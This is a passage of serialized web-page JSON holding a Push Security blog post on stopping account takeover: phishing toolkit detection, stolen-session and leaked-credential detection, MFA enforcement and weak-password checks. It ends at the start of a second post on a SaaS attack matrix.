browser.",{"data":168126,"content":168127,"nodeType":866},{},[168128],{"data":168129,"marks":168130,"value":168131,"nodeType":865},{},[],"Push does this by observing all logins and generating a fingerprint (or technically a k-anonymized salted partial hash) of the user’s password. This fingerprint is then stored locally to allow Push to perform comparisons.",{"data":168133,"content":168134,"nodeType":866},{},[168135],{"data":168136,"marks":168137,"value":168138,"nodeType":865},{},[],"To detect potential phishing attacks, the browser agent compares the observed password fingerprint to known fingerprints for passwords that already exist in local storage.",{"data":168140,"content":168141,"nodeType":866},{},[168142,168147],{"data":168143,"marks":168144,"value":168146,"nodeType":865},{},[168145],{"type":926},"This means that it works even if that employee was the first person to get phished using a new attacker site: ",{"data":168148,"marks":168149,"value":168150,"nodeType":865},{},[],"Push still detects it and blocks it before your employee can submit their credentials. It also works regardless of the delivery vector used to get the phishing link to the intended victim.",{"data":168152,"content":168156,"nodeType":912},{"target":168153},{"sys":168154},{"id":168155,"type":909,"linkType":910},"2V2My5IpdVUwh4QugqInUw",[],{"data":168158,"content":168159,"nodeType":866},{},[168160],{"data":168161,"marks":168162,"value":168163,"nodeType":865},{},[],"Once you’ve discovered a malicious site, you can use Push’s companion feature, URL blocking, to add the domain to a blocklist and prevent your other end-users from even visiting the site.",{"data":168165,"content":168166,"nodeType":866},{},[168167,168171,168178],{"data":168168,"marks":168169,"value":168170,"nodeType":865},{},[],"You can programmatically manage URL blocking as part of responding to an attempted phishing incident by using the ",{"data":168172,"content":168174,"nodeType":889},{"uri":168173},"https://pushsecurity.redoc.ly/rest-v1/",[168175],{"data":168176,"marks":168177,"value":157843,"nodeType":865},{},[],{"data":168179,"marks":168180,"value":168181,"nodeType":865},{},[]," to automatically add URLs to the blocklist or to sync with other threat intelligence sources of known-bad sites.",{"data":168183,"content":168184,"nodeType":866},{},[168185,168189,168197],{"data":168186,"marks":168187,"value":168188,"nodeType":865},{},[],"You can find out more about this control in this ",{"data":168190,"content":168191,"nodeType":889},{"uri":67859},[168192],{"data":168193,"marks":168194,"value":168196,"nodeType":865},{},[168195],{"type":943},"deep-dive article",{"data":168198,"marks":168199,"value":14251,"nodeType":865},{},[],{"data":168201,"content":168202,"nodeType":1317},{},[168203],{"data":168204,"marks":168205,"value":168206,"nodeType":865},{},[],"Detecting cloned login pages",{"data":168208,"content":168209,"nodeType":866},{},[168210],{"data":168211,"marks":168212,"value":168213,"nodeType":865},{},[],"It’s now very easy for attackers to create cloned login pages that appear to be legitimate, tricking users into providing their credentials. ",{"data":168215,"content":168216,"nodeType":866},{},[168217,168221,168230],{"data":168218,"marks":168219,"value":168220,"nodeType":865},{},[],"There’s a number of phishing kits that allow the attacker to simply copy the HTML code from a legitimate website and duplicate it on the malicious site, creating a virtually identical interface that tricks users into entering their credentials. A final sprinkle of typosquatting techniques completes the illusion of legitimacy. The Federal Communications Commission (FCC) ",{"data":168222,"content":168224,"nodeType":889},{"uri":168223},"https://www.nextgov.com/cybersecurity/2024/03/fcc-staff-targeted-phishing-attack-cloned-agency-login-site/394609/",[168225],{"data":168226,"marks":168227,"value":168229,"nodeType":865},{},[168228],{"type":943},"was a recent target",{"data":168231,"marks":168232,"value":168233,"nodeType":865},{},[]," of this kind of attack. ",{"data":168235,"content":168236,"nodeType":866},{},[168237],{"data":168238,"marks":168239,"value":168240,"nodeType":865},{},[],"Push’s cloned app detection feature detects fraudulent login pages by inspecting the resources and structure of pages users log into and fingerprinting them so they can be used to detect when that action occurs on the wrong domain. ",{"data":168242,"content":168243,"nodeType":866},{},[168244,168248,168255],{"data":168245,"marks":168246,"value":168247,"nodeType":865},{},[],"You can ",{"data":168249,"content":168250,"nodeType":889},{"uri":131895},[168251],{"data":168252,"marks":168253,"value":168254,"nodeType":865},{},[],"read more about this feature here",{"data":168256,"marks":168257,"value":1615,"nodeType":865},{},[],{"data":168259,"content":168260,"nodeType":1317},{},[168261],{"data":168262,"marks":168263,"value":168264,"nodeType":865},{},[],"Detecting AitM and BitM toolkits",{"data":168266,"content":168267,"nodeType":866},{},[168268,168272,168280,168283,168291,168294,168302,168305,168313],{"data":168269,"marks":168270,"value":168271,"nodeType":865},{},[],"Adversary-in-the-Middle (AitM) phishing is a technique that uses dedicated tooling to act as a proxy between the target and a legitimate login portal for an application, principally to bypass MFA. As it’s a proxy to the real application, the page will appear exactly as the user expects, making this technique difficult to spot. Popular AitM toolkits include ",{"data":168273,"content":168275,"nodeType":889},{"uri":168274},"https://github.com/drk1wi/Modlishka",[168276],{"data":168277,"marks":168278,"value":168279,"nodeType":865},{},[],"Modlishka",{"data":168281,"marks":168282,"value":2717,"nodeType":865},{},[],{"data":168284,"content":168286,"nodeType":889},{"uri":168285},"https://github.com/muraenateam/muraena",[168287],{"data":168288,"marks":168289,"value":168290,"nodeType":865},{},[],"Muraena",{"data":168292,"marks":168293,"value":2717,"nodeType":865},{},[],{"data":168295,"content":168297,"nodeType":889},{"uri":168296},"https://github.com/kgretzky/evilginx2",[168298],{"data":168299,"marks":168300,"value":168301,"nodeType":865},{},[],"Evilginx",{"data":168303,"marks":168304,"value":4988,"nodeType":865},{},[],{"data":168306,"content":168308,"nodeType":889},{"uri":168307},"https://www.bleepingcomputer.com/news/security/evilproxy-uses-indeedcom-open-redirect-for-microsoft-365-phishing/",[168309],{"data":168310,"marks":168311,"value":168312,"nodeType":865},{},[],"Evilproxy",{"data":168314,"marks":168315,"value":14251,"nodeType":865},{},[],{"data":168317,"content":168318,"nodeType":866},{},[168319],{"data":168320,"marks":168321,"value":168322,"nodeType":865},{},[],"Browser-in-the-Middle (BitM) toolkits are different to AitM toolkits because they don’t act as a reverse proxy. Instead, they trick their victim into directly controlling the attacker’s own browser using remote desktop screen sharing and control approaches — think of this like VNC or RDP but using the browser as a client. This is the virtual equivalent of an attacker handing their laptop to their victim, asking them to log in to an app for them, and then taking their laptop back afterwards.",{"data":168324,"content":168325,"nodeType":866},{},[168326,168330,168339],{"data":168327,"marks":168328,"value":168329,"nodeType":865},{},[],"We’ve conducted a lot of research into AitM and BitM toolkits recently. If you want to learn more about how they work and see a demo of them in action, ",{"data":168331,"content":168333,"nodeType":889},{"uri":168332},"https://pushsecurity.com/resources/video/phishing-detecting-evilginx-evilnovnc-muraena-and-modlishka/",[168334],{"data":168335,"marks":168336,"value":168338,"nodeType":865},{},[168337],{"type":943},"head over here",{"data":168340,"marks":168341,"value":14251,"nodeType":865},{},[],{"data":168343,"content":168344,"nodeType":866},{},[168345],{"data":168346,"marks":168347,"value":168348,"nodeType":865},{},[],"Push gives you a preconfigured set of detections for AitM and BitM toolkits, informed by our threat detection team’s research into their behavior. This phishing tool detection feature will automatically prevent users from accessing a site that’s running one of these malicious tools, and display a custom warning message to your end-users.",{"data":168350,"content":168353,"nodeType":912},{"target":168351},{"sys":168352},{"id":123799,"type":909,"linkType":910},[],{"data":168355,"content":168356,"nodeType":866},{},[168357,168361,168367],{"data":168358,"marks":168359,"value":168360,"nodeType":865},{},[],"Administrators can also consume phishing tool detection events via the ",{"data":168362,"content":168363,"nodeType":889},{"uri":168173},[168364],{"data":168365,"marks":168366,"value":157843,"nodeType":865},{},[],{"data":168368,"marks":168369,"value":168370,"nodeType":865},{},[]," into their SIEM or use Push’s webhooks to alert when a warn or block event has occurred.",{"data":168372,"content":168373,"nodeType":866},{},[168374,168378,168386],{"data":168375,"marks":168376,"value":168377,"nodeType":865},{},[],"You can read a full write-up of this feature if you want to ",{"data":168379,"content":168380,"nodeType":889},{"uri":131844},[168381],{"data":168382,"marks":168383,"value":168385,"nodeType":865},{},[168384],{"type":943},"learn more",{"data":168387,"marks":168388,"value":14251,"nodeType":865},{},[],{"data":168390,"content":168391,"nodeType":981},{},[168392],{"data":168393,"marks":168394,"value":168395,"nodeType":865},{},[],"Part 2: Infostealer malware",{"data":168397,"content":168398,"nodeType":866},{},[168399,168403,168410],{"data":168400,"marks":168401,"value":168402,"nodeType":865},{},[],"The recent ",{"data":168404,"content":168405,"nodeType":889},{"uri":13054},[168406],{"data":168407,"marks":168408,"value":3493,"nodeType":865},{},[168409],{"type":943},{"data":168411,"marks":168412,"value":168413,"nodeType":865},{},[]," highlighted how infostealer malware is becoming a serious issue for security teams. As well as being able to steal credentials for account takeover, infostealers can also be used to steal session tokens which then allow the attacker to assume an already authorized session without needing to bypass MFA.   ",{"data":168415,"content":168416,"nodeType":866},{},[168417],{"data":168418,"marks":168419,"value":168420,"nodeType":865},{},[],"Nearly half of the malware detected last year by Sophos targeted victims’ data specifically, and the majority of that malware was classified as infostealers. ",{"data":168422,"content":168426,"nodeType":912},{"target":168423},{"sys":168424},{"id":168425,"type":909,"linkType":910},"66B5MBFIhbmky7VuLGbuM3",[],{"data":168428,"content":168429,"nodeType":866},{},[168430],{"data":168431,"marks":168432,"value":168433,"nodeType":865},{},[],"Infostealers are primarily being used by Initial Access Brokers to harvest credentials and session tokens that they then sell to other threat actors intent on executing more penetrating attacks (e.g. ransomware).  ",{"data":168435,"content":168436,"nodeType":866},{},[168437,168440,168447],{"data":168438,"marks":168439,"value":162657,"nodeType":865},{},[],{"data":168441,"content":168442,"nodeType":889},{"uri":162660},[168443],{"data":168444,"marks":168445,"value":162666,"nodeType":865},{},[168446],{"type":943},{"data":168448,"marks":168449,"value":1615,"nodeType":865},{},[],{"data":168451,"content":168452,"nodeType":866},{},[168453],{"data":168454,"marks":168455,"value":168456,"nodeType":865},{},[],"Getting total coverage across your endpoint estate is notoriously difficult, if not totally unrealistic. Unless the malware is stopped on execution, then data will inevitably be stolen, and will continue to be taken until stopped (or it self-terminates). And once an attacker has stolen employee credentials or sessions, the credential stuffing and session hijacking attacks that come next won’t touch the endpoint. ",{"data":168458,"content":168459,"nodeType":866},{},[168460],{"data":168461,"marks":168462,"value":168463,"nodeType":865},{},[],"For those reasons, you can’t rely on EDR as a single line of defense against infostealers. Push gives you those extra layers of defense to stop account takeover attempts that use stolen credentials and sessions.",{"data":168465,"content":168469,"nodeType":912},{"target":168466},{"sys":168467},{"id":168468,"type":909,"linkType":910},"4YB6DLIE5TvaAsAAUoJd5v",[],{"data":168471,"content":168472,"nodeType":1317},{},[168473],{"data":168474,"marks":168475,"value":168476,"nodeType":865},{},[],"Detecting stolen sessions ",{"data":168478,"content":168479,"nodeType":866},{},[168480],{"data":168481,"marks":168482,"value":168483,"nodeType":865},{},[],"Push uses its browser agent to inject a unique marker into the user agent string of sessions that occur in browsers enrolled in Push. You then add the list of domains where you wish to inject the marker into sessions, such as an identity provider like Okta or Microsoft. ",{"data":168485,"content":168486,"nodeType":866},{},[168487],{"data":168488,"marks":168489,"value":168490,"nodeType":865},{},[],"By analyzing logs from the IdP, you can identify activity from the same session that both has the Push marker and that lacks the marker. This can only ever happen when a session is extracted from a browser and maliciously imported into a different browser.",{"data":168492,"content":168493,"nodeType":866},{},[168494],{"data":168495,"marks":168496,"value":168497,"nodeType":865},{},[],"This is a high-fidelity signal that a stolen session token is being used by an attacker. It’s certainly a lot cleaner than relying on IP-based or geolocation-based signals, which result in frequent false positives.",{"data":168499,"content":168502,"nodeType":912},{"target":168500},{"sys":168501},{"id":123928,"type":909,"linkType":910},[],{"data":168504,"content":168505,"nodeType":1317},{},[168506],{"data":168507,"marks":168508,"value":168509,"nodeType":865},{},[],"Detecting stolen credentials being sold on the dark web",{"data":168511,"content":168512,"nodeType":866},{},[168513],{"data":168514,"marks":168515,"value":168516,"nodeType":865},{},[],"Push integrates stolen credential threat intelligence and alerts you when your employees’ credentials are being sold on the dark web. ",{"data":168518,"content":168519,"nodeType":866},{},[168520],{"data":168521,"marks":168522,"value":168523,"nodeType":865},{},[],"Commercial TI feeds of stolen credentials have been available for some time. But what we’ve found is that the false-positive rate is incredibly high and the vast majority of credentials are no longer in use.",{"data":168525,"content":168526,"nodeType":866},{},[168527],{"data":168528,"marks":168529,"value":168530,"nodeType":865},{},[],"Push validates that leaked credentials match those that are currently being used by your employees to authenticate on any apps they are using in the browser. That means that any alerts or automated actions generated by Push are actionable true positives, cutting out a huge amount of noise and saving your security team time. ",{"data":168532,"content":168536,"nodeType":912},{"target":168533},{"sys":168534},{"id":168535,"type":909,"linkType":910},"3RnPM0ioGWi3CFMLkxQanO",[],{"data":168538,"content":168539,"nodeType":981},{},[168540],{"data":168541,"marks":168542,"value":168543,"nodeType":865},{},[],"Part 3: Credential stuffing",{"data":168545,"content":168546,"nodeType":866},{},[168547],{"data":168548,"marks":168549,"value":168550,"nodeType":865},{},[],"The previous sections looked at how Push detects and stops common techniques used for stealing and acquiring credentials. We’re now going to cover how Push stops stolen credentials from being used to access and take over employee accounts. ",{"data":168552,"content":168553,"nodeType":866},{},[168554,168559],{"data":168555,"marks":168556,"value":168558,"nodeType":865},{},[168557],{"type":926},"Credential stuffing ",{"data":168560,"marks":168561,"value":168562,"nodeType":865},{},[],"is when attackers use tools that automate the process of taking a list of stolen passwords and retargeting those credentials against different apps.",{"data":168564,"content":168565,"nodeType":866},{},[168566,168570,168575],{"data":168567,"marks":168568,"value":168569,"nodeType":865},{},[],"Closely related to credential stuffing is ",{"data":168571,"marks":168572,"value":168574,"nodeType":865},{},[168573],{"type":926},"password spraying",{"data":168576,"marks":168577,"value":168578,"nodeType":865},{},[],". Instead of using stolen credentials, an attacker uses a list of commonly used usernames and passwords to attempt to compromise accounts. ",{"data":168580,"content":168581,"nodeType":866},{},[168582],{"data":168583,"marks":168584,"value":168585,"nodeType":865},{},[],"Both credential stuffing and password spraying are high-volume, automated attacks, and they are an unrelenting problem for most businesses. Microsoft observes 4,000 of them every second and nearly half of all login requests Auth0 receive each day are attempts at credential stuffing. ",{"data":168587,"content":168588,"nodeType":866},{},[168589],{"data":168590,"marks":168591,"value":168592,"nodeType":865},{},[],"The true scale of the problem is hard to grasp, as neither app vendors nor users have effective means of monitoring for unauthorized access. Typically these breaches are only detected when:",{"data":168594,"content":168595,"nodeType":1616},{},[168596,168616,168637],{"data":168597,"content":168598,"nodeType":1570},{},[168599],{"data":168600,"content":168601,"nodeType":866},{},[168602,168606,168613],{"data":168603,"marks":168604,"value":168605,"nodeType":865},{},[],"The attacker leaks the data they’ve stolen, like in the ",{"data":168607,"content":168608,"nodeType":889},{"uri":13054},[168609],{"data":168610,"marks":168611,"value":3493,"nodeType":865},{},[168612],{"type":943},{"data":168614,"marks":168615,"value":14251,"nodeType":865},{},[],{"data":168617,"content":168618,"nodeType":1570},{},[168619],{"data":168620,"content":168621,"nodeType":866},{},[168622,168626,168634],{"data":168623,"marks":168624,"value":168625,"nodeType":865},{},[],"The attacker deploys ransomware that results in business disruption, like that suffered by ",{"data":168627,"content":168628,"nodeType":889},{"uri":115681},[168629],{"data":168630,"marks":168631,"value":168633,"nodeType":865},{},[168632],{"type":943},"MGM resorts",{"data":168635,"marks":168636,"value":1615,"nodeType":865},{},[],{"data":168638,"content":168639,"nodeType":1570},{},[168640],{"data":168641,"content":168642,"nodeType":866},{},[168643,168647,168656],{"data":168644,"marks":168645,"value":168646,"nodeType":865},{},[],"The attackers use a compromised account to do something deliberately in the public eye. For example, when the SEC’s X (formerly Twitter) account was compromised and ",{"data":168648,"content":168650,"nodeType":889},{"uri":168649},"https://incyber.org/en/article/fake-sec-tweet-triggers-bitcoin-surge/#:~:text=The%20fake%20headline%20convinced%20a,an%20unauthorized%20tweet%20was%20posted.",[168651],{"data":168652,"marks":168653,"value":168655,"nodeType":865},{},[168654],{"type":943},"sent out a message announcing the approval of Bitcoin ETF",{"data":168657,"marks":168658,"value":113401,"nodeType":865},{},[],{"data":168660,"content":168661,"nodeType":866},{},[168662],{"data":168663,"marks":168664,"value":168665,"nodeType":865},{},[],"Push gives you a number of controls to combat attacks using stolen and guessed passwords, both to prevent them from occurring, and detect them when they do.",{"data":168667,"content":168668,"nodeType":1317},{},[168669],{"data":168670,"marks":168671,"value":168672,"nodeType":865},{},[],"Prevent employees using credentials that have already been stolen and leaked",{"data":168674,"content":168675,"nodeType":866},{},[168676],{"data":168677,"marks":168678,"value":168679,"nodeType":865},{},[],"First, let's stop your employees from using any credentials that have already been stolen and are available to attackers for use in a credential-stuffing attack. ",{"data":168681,"content":168682,"nodeType":866},{},[168683],{"data":168684,"marks":168685,"value":168686,"nodeType":865},{},[],"Push monitors stolen credential threat intelligence and compares it to the credentials employees are currently using to access their apps. ",{"data":168688,"content":168689,"nodeType":866},{},[168690],{"data":168691,"marks":168692,"value":168693,"nodeType":865},{},[],"You might be wondering, “Does that mean Push sees all our employees’ passwords!?” No. Rather, we use a fingerprint of each password and it's checked locally in the users’ browser and never leaves it. ",{"data":168695,"content":168696,"nodeType":866},{},[168697],{"data":168698,"marks":168699,"value":168700,"nodeType":865},{},[],"When we get a match – a stolen password that could successfully be used in a credential-stuffing attack – Push alerts you.",{"data":168702,"content":168703,"nodeType":1317},{},[168704],{"data":168705,"marks":168706,"value":168707,"nodeType":865},{},[],"Enforce MFA on all employee accounts",{"data":168709,"content":168710,"nodeType":866},{},[168711],{"data":168712,"marks":168713,"value":168714,"nodeType":865},{},[],"Next step is to secure the accounts most vulnerable to a credential stuffing attack – those that only use a password for single-factor authentication. ",{"data":168716,"content":168717,"nodeType":866},{},[168718,168722,168730],{"data":168719,"marks":168720,"value":168721,"nodeType":865},{},[],"If you’re using SSO to access apps, then it’s easy to overlook instances where local accounts (e.g. username and password logins) are missing MFA – particularly if you’re relying on an IdP solution to audit and enforce MFA. ",{"data":168723,"content":168724,"nodeType":889},{"uri":6710},[168725],{"data":168726,"marks":168727,"value":168729,"nodeType":865},{},[168728],{"type":943},"You can read more about this problem in our blog post on ghost logins",{"data":168731,"marks":168732,"value":14251,"nodeType":865},{},[],{"data":168734,"content":168735,"nodeType":866},{},[168736],{"data":168737,"marks":168738,"value":168739,"nodeType":865},{},[],"Push observes every login made by your employees (both inside and outside SSO) and inspects the authentication protocols used. Accounts that are missing MFA are identified and presented to you in the Push platform.",{"data":168741,"content":168745,"nodeType":912},{"target":168742},{"sys":168743},{"id":168744,"type":909,"linkType":910},"4t1PHxzadoTBjtJua6dzuJ",[],{"data":168747,"content":168748,"nodeType":866},{},[168749],{"data":168750,"marks":168751,"value":168752,"nodeType":865},{},[],"You can then use Push to enforce MFA on employee accounts, or present them with in-browser guidance requesting that they enable it themselves.  ",{"data":168754,"content":168758,"nodeType":912},{"target":168755},{"sys":168756},{"id":168757,"type":909,"linkType":910},"3JSTEJGtLT0hfwnkpLRP4K",[],{"data":168760,"content":168761,"nodeType":1317},{},[168762],{"data":168763,"marks":168764,"value":168765,"nodeType":865},{},[],"Prevent multiple accounts being compromised by credential stuffing due to password reuse",{"data":168767,"content":168768,"nodeType":866},{},[168769],{"data":168770,"marks":168771,"value":168772,"nodeType":865},{},[],"The credential stuffing tools that attackers use will target a long list of popular business apps. If a password is reused across multiple apps and is breached, the blast radius is naturally increased – the attacker will be able to hijack multiple accounts, across numerous business applications.",{"data":168774,"content":168775,"nodeType":866},{},[168776],{"data":168777,"marks":168778,"value":168779,"nodeType":865},{},[],"Push detects when employees are trying to use the same password across multiple apps. When this happens, you can request that they change their password.",{"data":168781,"content":168785,"nodeType":912},{"target":168782},{"sys":168783},{"id":168784,"type":909,"linkType":910},"7ARHp2JPiHeKRYHwa2jwIZ",[],{"data":168787,"content":168788,"nodeType":1317},{},[168789],{"data":168790,"marks":168791,"value":168792,"nodeType":865},{},[],"Prevent password spraying breaches",{"data":168794,"content":168795,"nodeType":866},{},[168796],{"data":168797,"marks":168798,"value":168799,"nodeType":865},{},[],"To stop your employees’ accounts from being breached by password spraying attacks, Push checks every password to see if it is easily guessable for attackers.",{"data":168801,"content":168802,"nodeType":866},{},[168803],{"data":168804,"marks":168805,"value":168806,"nodeType":865},{},[],"To determine if a password is easily guessable, the Push browser agent automatically checks the password against:",{"data":168808,"content":168809,"nodeType":1616},{},[168810,168820,168830],{"data":168811,"content":168812,"nodeType":1570},{},[168813],{"data":168814,"content":168815,"nodeType":866},{},[168816],{"data":168817,"marks":168818,"value":168819,"nodeType":865},{},[],"A list of top 10,000 weak base passwords.",{"data":168821,"content":168822,"nodeType":1570},{},[168823],{"data":168824,"content":168825,"nodeType":866},{},[168826],{"data":168827,"marks":168828,"value":168829,"nodeType":865},{},[],"Number and special character variations on these weak base passwords, for example: Password1! or January2022.",{"data":168831,"content":168832,"nodeType":1570},{},[168833],{"data":168834,"content":168835,"nodeType":866},{},[168836],{"data":168837,"marks":168838,"value":168839,"nodeType":865},{},[],"Variations on these weak base passwords that replace letters with numerals (1337), for example: P455w0rd.",{"data":168841,"content":168842,"nodeType":866},{},[168843],{"data":168844,"marks":168845,"value":168846,"nodeType":865},{},[],"You can also add your own custom word list that employees and attackers will predictably try and use. Push will then stop those words being used as part of passwords.",{"data":168848,"content":168849,"nodeType":1317},{},[168850],{"data":168851,"marks":168852,"value":168853,"nodeType":865},{},[],"Detect unauthorized sessions  ",{"data":168855,"content":168856,"nodeType":866},{},[168857],{"data":168858,"marks":168859,"value":168860,"nodeType":865},{},[],"Once you have enabled all the Push controls that prevent employees from creating and using accounts that can be easily compromised by credential stuffing and password spraying attacks, the next line of defense is to detect when accounts are taken over.",{"data":168862,"content":168863,"nodeType":866},{},[168864],{"data":168865,"marks":168866,"value":168867,"nodeType":865},{},[],"Push uses its browser agent to inject a unique marker into the user agent string of sessions that occur in browsers enrolled in Push. You then add the list of domains that you want to have injected with the session marker. ",{"data":168869,"content":168870,"nodeType":866},{},[168871],{"data":168872,"marks":168873,"value":168874,"nodeType":865},{},[],"By analyzing logs from the IdP, you can identify activity from the same session that both has the Push marker and that lacks the marker. This indicates that the session is not being used by the legitimate user (your employees) in their usual work browser, and could be an attacker using their account. ",{"data":168876,"content":168877,"nodeType":1317},{},[168878],{"data":168879,"marks":168880,"value":168881,"nodeType":865},{},[],"Reduce your identity attack surface",{"data":168883,"content":168884,"nodeType":866},{},[168885],{"data":168886,"marks":168887,"value":168888,"nodeType":865},{},[],"Finally, you’ll likely want to reduce your attack surface that can be targeted by credential stuffing. In other words, reduce the number of username and password accounts your employees have. ",{"data":168890,"content":168891,"nodeType":866},{},[168892],{"data":168893,"marks":168894,"value":168895,"nodeType":865},{},[],"There are a few ways that Push can help you do this.",{"data":168897,"content":168898,"nodeType":1616},{},[168899,168914,168929],{"data":168900,"content":168901,"nodeType":1570},{},[168902],{"data":168903,"content":168904,"nodeType":866},{},[168905,168910],{"data":168906,"marks":168907,"value":168909,"nodeType":865},{},[168908],{"type":926},"Block access to unapproved apps",{"data":168911,"marks":168912,"value":168913,"nodeType":865},{},[],". Using Push, you can create a block list of apps that you don’t want your users to create accounts and identities on.",{"data":168915,"content":168916,"nodeType":1570},{},[168917],{"data":168918,"content":168919,"nodeType":866},{},[168920,168925],{"data":168921,"marks":168922,"value":168924,"nodeType":865},{},[168923],{"type":926},"Use app banners to stop users from creating local accounts",{"data":168926,"marks":168927,"value":168928,"nodeType":865},{},[],". When an employee goes to sign up to an app, Push will present an app banner that tells them to use their SSO identity and not to create a username and password account.",{"data":168930,"content":168931,"nodeType":1570},{},[168932],{"data":168933,"content":168934,"nodeType":866},{},[168935,168940],{"data":168936,"marks":168937,"value":168939,"nodeType":865},{},[168938],{"type":926},"Get existing accounts and apps behind SSO",{"data":168941,"marks":168942,"value":168943,"nodeType":865},{},[],". Push shows you how your employees are logging in to every account on every app, including whether they’re using SAML or OIDC SSO. Armed with this data, you can get your employees to use your preferred SSO solution on the apps where it’s already available, and look into whether other popular apps being used in the business offer SSO.",{"data":168945,"content":168949,"nodeType":912},{"target":168946},{"sys":168947},{"id":168948,"type":909,"linkType":910},"3y8L55hbcQaRYPCdYYb3xA",[],{"data":168951,"content":168952,"nodeType":981},{},[168953],{"data":168954,"marks":168955,"value":168956,"nodeType":865},{},[],"Stop account takeover at the push of a button",{"data":168958,"content":168959,"nodeType":866},{},[168960,168964,168971,168975,168980,168983,168988,168992,168996],{"data":168961,"marks":168962,"value":168963,"nodeType":865},{},[],"We’ve described a lot of controls in this article. The good news is that they’re all pre-configured on the the ",{"data":168965,"content":168967,"nodeType":889},{"uri":168966},"https://pushsecurity.com/help/audience/administrators/docs/manage-security-controls/#start",[168968],{"data":168969,"marks":168970,"value":136538,"nodeType":865},{},[],{"data":168972,"marks":168973,"value":168974,"nodeType":865},{},[]," page in the Push platform. When you get started with Push, you can simply turn on all the controls you want, and decide whether you want them to work in ",{"data":168976,"marks":168977,"value":168979,"nodeType":865},{},[168978],{"type":926},"monitor",{"data":168981,"marks":168982,"value":2717,"nodeType":865},{},[],{"data":168984,"marks":168985,"value":168987,"nodeType":865},{},[168986],{"type":926},"warn",{"data":168989,"marks":168990,"value":168991,"nodeType":865},{},[]," mode or ",{"data":168993,"marks":168994,"value":87,"nodeType":865},{},[168995],{"type":926},{"data":168997,"marks":168998,"value":168999,"nodeType":865},{},[]," mode.    ",{"data":169001,"content":169005,"nodeType":912},{"target":169002},{"sys":169003},{"id":169004,"type":909,"linkType":910},"6FCuO78yQMNZvkcbcALmis",[],{"data":169007,"content":169008,"nodeType":1317},{},[169009],{"data":169010,"marks":169011,"value":169012,"nodeType":865},{},[],"See it for yourself",{"data":169014,"content":169015,"nodeType":866},{},[169016,169020,169026],{"data":169017,"marks":169018,"value":169019,"nodeType":865},{},[],"To learn more, ",{"data":169021,"content":169022,"nodeType":889},{"uri":16069},[169023],{"data":169024,"marks":169025,"value":14066,"nodeType":865},{},[],{"data":169027,"marks":169028,"value":169029,"nodeType":865},{},[],". We’ll be happy to show you these features, along with how we discover all the apps your employees are using, even the ones not behind SSO.",{"data":169031,"content":169035,"nodeType":912},{"target":169032},{"sys":169033},{"id":169034,"type":909,"linkType":910},"4IRtR9zicpB7lXdz2RvIlK",[],{"data":169037,"content":169038,"nodeType":866},{},[169039],{"data":169040,"marks":169041,"value":21,"nodeType":865},{},[],"Hackers don’t hack in, they log in: How to prevent account takeover with Push","How Push stops attackers from using identity attack tools and techniques to compromise your employee user accounts. ","2024-08-19T00:00:00.000Z","how-to-prevent-account-takeover-with-push",{"items":169047},[169048,169050],{"sys":169049,"name":342},{"id":4642},{"sys":169051,"name":7796},{"id":7795},{"items":169053},[169054],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":169055},{"url":4618},{"__typename":1429,"sys":169057,"content":169059,"title":170104,"synopsis":170105,"hashTags":59,"publishedDate":170106,"slug":170107,"tagsCollection":170108,"authorsCollection":170114},{"id":169058},"1LxqUNZpD2VynzSqbv719Z",{"json":169060},{"data":169061,"content":169062,"nodeType":1382},{},[169063,169081,169088,169095,169102,169109,169112,169119,169203,169210,169217,169224,169239,169258,169265,169268,169275,169282,169288,169305,169329,169336,169343,169375,169406,169413,169431,169438,169445,169452,169460,169467,169496,169502,169519,169550,169557,169575,169582,169588,169606,169613,169620,169623,169630,169637,169644,169647,169654,169661,169668,169687,169818,169825,169828,169835,169842,169943,169950,169957,169960,169967,169974,170025,170032,170039,170042,170048,170055,170073,170092,170098],{"data":169064,"content":169065,"nodeType":866},{},[169066,169070,169077],{"data":169067,"marks":169068,"value":169069,"nodeType":865},{},[],"When we created the ",{"data":169071,"content":169072,"nodeType":889},{"uri":13171},[169073],{"data":169074,"marks":169075,"value":12528,"nodeType":865},{},[169076],{"type":943},{"data":169078,"marks":169079,"value":169080,"nodeType":865},{},[],", we made a conscious break away from the endpoint-focused techniques captured in industry resources like the MITRE ATT&CK Framework. ",{"data":169082,"content":169083,"nodeType":866},{},[169084],{"data":169085,"marks":169086,"value":169087,"nodeType":865},{},[],"At the time, we were anticipating a shift that was yet to fully materialize. But, a lot can change (and has changed) in the space of a year. We’ve seen the impact of SaaS account takeover attacks laid bare. Snowflake, billed one of the biggest breaches in history, is a telling example that we’ll no doubt look back on as a watershed moment. ",{"data":169089,"content":169090,"nodeType":866},{},[169091],{"data":169092,"marks":169093,"value":169094,"nodeType":865},{},[],"It isn’t an exaggeration or marketing fluff to say that identity attacks are the #1 threat facing organizations today. SaaS apps, and the identities that are used to access them, are clearly the weakest link – and therefore the lowest-hanging fruit for attackers to reach for. ",{"data":169096,"content":169097,"nodeType":866},{},[169098],{"data":169099,"marks":169100,"value":169101,"nodeType":865},{},[],"This makes resources like the SaaS attack matrix more relevant than ever – both for red teams seeking to emulate the latest offensive techniques, and blue teams trying to defend against them. Understanding these techniques is essential for building effective defenses, and identifying where new platforms and controls are required to do so. ",{"data":169103,"content":169104,"nodeType":866},{},[169105],{"data":169106,"marks":169107,"value":169108,"nodeType":865},{},[],"Let’s take a look at what we’ve learned so far.",{"data":169110,"content":169111,"nodeType":972},{},[],{"data":169113,"content":169114,"nodeType":981},{},[169115],{"data":169116,"marks":169117,"value":169118,"nodeType":865},{},[],"Hot right now: Initial access techniques",{"data":169120,"content":169121,"nodeType":866},{},[169122,169126,169133,169136,169144,169147,169154,169157,169164,169167,169176,169180,169189,169192,169200],{"data":169123,"marks":169124,"value":169125,"nodeType":865},{},[],"The majority of techniques we've seen rise to prominence in 2023/4 sit predominantly in the initial access phase. Since the matrix first launched, we’ve added more techniques to initial access than any other category, including ",{"data":169127,"content":169128,"nodeType":889},{"uri":53259},[169129],{"data":169130,"marks":169131,"value":6715,"nodeType":865},{},[169132],{"type":943},{"data":169134,"marks":169135,"value":2717,"nodeType":865},{},[],{"data":169137,"content":169138,"nodeType":889},{"uri":147552},[169139],{"data":169140,"marks":169141,"value":169143,"nodeType":865},{},[169142],{"type":943},"AitM 